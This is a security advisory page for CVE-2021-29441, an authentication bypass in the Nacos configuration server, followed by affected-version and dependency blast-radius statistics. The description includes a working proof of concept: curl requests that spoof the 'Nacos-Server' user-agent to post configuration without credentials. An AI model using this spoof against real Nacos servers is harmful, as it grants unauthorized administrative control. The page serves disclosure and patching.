HIGH 8.6

CVE-2021-29441

Authentication Bypass

Description

When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.

The following request to the configuration endpoint gets rejected as we are not providing any credentials:

❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}

However the following one gets accepted by using the Nacos-Server user-agent header:

❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true

Impact

This issue may allow any user to carry out any administrative tasks on the Nacos server.

Affected Maven artifacts (1)

ArtifactAffected versionsFixed in
com.alibaba.nacos » nacos-common
< 1.4.1
1.4.1

Blast radius

1affected artifacts
39affected versions
421dependent artifacts (est.)
4,280dependent versions

54% of the dependent artifacts (229) still pull an affected version in their latest release.

DepthDependent versions
Direct
47
2 hops
970
3 hops
1,482
4 hops
846
5 hops
704
6 hops
231

Most used dependents

Computed from the dependency graph of build 20261127.1117 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.

References

Advisorynvd.nist.gov
Advisorygithub.com
Webgithub.com
Webgithub.com